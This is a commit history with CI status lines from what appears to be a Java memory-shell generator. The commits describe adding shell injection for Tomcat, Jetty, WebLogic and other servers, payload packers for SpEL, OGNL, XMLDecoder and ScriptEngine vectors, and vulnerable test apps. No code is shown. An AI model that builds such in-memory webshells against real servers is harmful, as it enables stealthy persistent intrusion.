ReaJason cefd7147bf feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 1bb42819b5 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason ba3900f366 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason 92e8b83313 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 36236653bd feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 30dd253565 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason ca123e2871 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 6da52b2387 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason ca1d567ce7 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason 8b71ca9911 test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason 73b5bc7114 perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 74447786f2 fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason a241e2e28f chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 4e8daa4662 fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason bee0f6596f fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 5a92bd9944 feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 7c3a63902b chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason 5541159c98 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason 827d8af2f1 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason f4a16e5d37 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason 2fa3310bf8 refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason 47386571d8 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 7e7096f363 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason dc85bd27d6 chore: 2.2.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-11-20 02:27:20 +08:00
ReaJason 75f26e5d38 docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason c4b5b9f2c6 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 17a8f529a0 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason 07b0de017d chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 623d343096 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 5ee604f4a0 feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason a022968965 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason cdb90b6cb1 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fb5b39a4c6 feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason 3838d3d27a build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 5ad7aec805 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason a93da6d0fc chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 4862dd8d2a test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 1ea0351ed0 feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 519d54aea2 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 899f9dd1ab test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 65d9a3c672 feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 6a6e7e1ec7 fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 2d47216a71 test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 65513d9eaa build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 44d087829d feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason fe86bc04c1 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 5c27b8062d test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason e261ec2bd3 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 3b179c10c0 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 0111d50616 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 4563a97ceb perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason eb92c2c4ff build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 7649e1612a build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason aa5683a8d8 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 2620a30a4e feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 761ec7a9e7 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason 33944dfd32 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason dee1c4a5d0 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason a2de3a3808 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason af501ff5a8 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 5c08da5f01 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason 6bdc435df0 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason 059cae27c6 fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason c200140a67 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 2196a4aefb fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason c5a3bd464b chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason f41a0a82b6 test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason 2675991711 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 726a5321db fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason 0c041ee1a9 docs: update CHANGELOG
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-09-13 09:12:02 +08:00
ReaJason 378cf22eb2 chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason d112a9abda docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 7fdba6a810 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason b7ede0f745 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason b88332f2a3 style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ba8c5c1524 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 9713ac452e fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 5915b9877b test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 17c54cd919 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 9159de1781 fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason 4cd6d9fb21 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e879002572 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 96503863f4 feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason 3c073b4445 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b357e50303 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason fd6bd7b18c ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason d7f154209d refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c87a68b557 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason f67d6ff79b feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason a0965a95ef fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason cb3914152f fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason a5fb75b3f0 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e986ae8241 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 8eea712f4d fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 7b95367e4e build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason e45b72f6fc chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason a2f7fe9a8e refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason be29e9dcc0 fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason 0626657991 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 477c99e0bc chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason 17dcb183c4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason b08c33135d style: format code (#95)
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8c3fad5c2d feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 02b2288a42 fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans df47f2ed02 feat: support BigInteger packer
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-25 19:25:54 +08:00
小晨曦andReaJason 9b10f968dc feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 74b3508985 ci: MemShell IntegrationTest not run when packer changed
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-25 12:18:22 +08:00
ReaJason 4e505d6056 build: add more repositories
Docker Build Test / docker-build-test (push) Has been cancelled
2025-08-22 18:41:48 +08:00
ReaJason 4a4bcdca81 docs: update README 2025-08-22 18:41:02 +08:00
ReaJason ab1d9b2132 ci: skip vul for docker build test
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-21 18:21:05 +08:00
ReaJason 0dec83e529 test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 8dc52e7501 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 34e117c462 ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 4fb95374ad docs: update BuildOnLocal.md
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-14 23:16:23 +08:00
ReaJason d7b7f0d23c docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 6a0f1cf299 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason 70ae4180f2 fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 07c612ee44 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 46153de471 ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason 8cbc33066d ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 1e615df9e0 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason a37949e8cc fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 2333711a0f fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 8b27536d80 docs: update README
Test / UniteTest (push) Waiting to run
Test / docker-build-test (push) Waiting to run
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Blocked by required conditions
2025-08-14 00:56:56 +08:00
ReaJason 0a46ebc21e ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason 23997ad5c9 ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason 696abcdfef fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason 6388b2b2bf ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason 44f18f7d21 chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 77cd746154 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 948a6699fb test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason 033c4071cc docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 0cdb94387b feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason 31f5c824db ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 63310043e6 fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 4ab08270d3 feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason e1e5a96283 feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason 7ce71856d3 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason cf05f5f79e docs: update README 2025-08-13 23:53:40 +08:00
ReaJason f342b924f5 fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 866f203ac5 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason d4929f22f3 test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason c2088f477a fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 829b0e8be7 refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 3a10568346 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 975f25534b build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason cf3fa2b18f build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason b2c614eea4 refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason a513e44c96 fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 6e021bef9f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 04e46e12ca fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 13be57e66d feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 6a4c5a1e96 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason b96276ee54 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 82cdbab634 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 4a6577012b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 346e518913 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 6f9ae38add feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
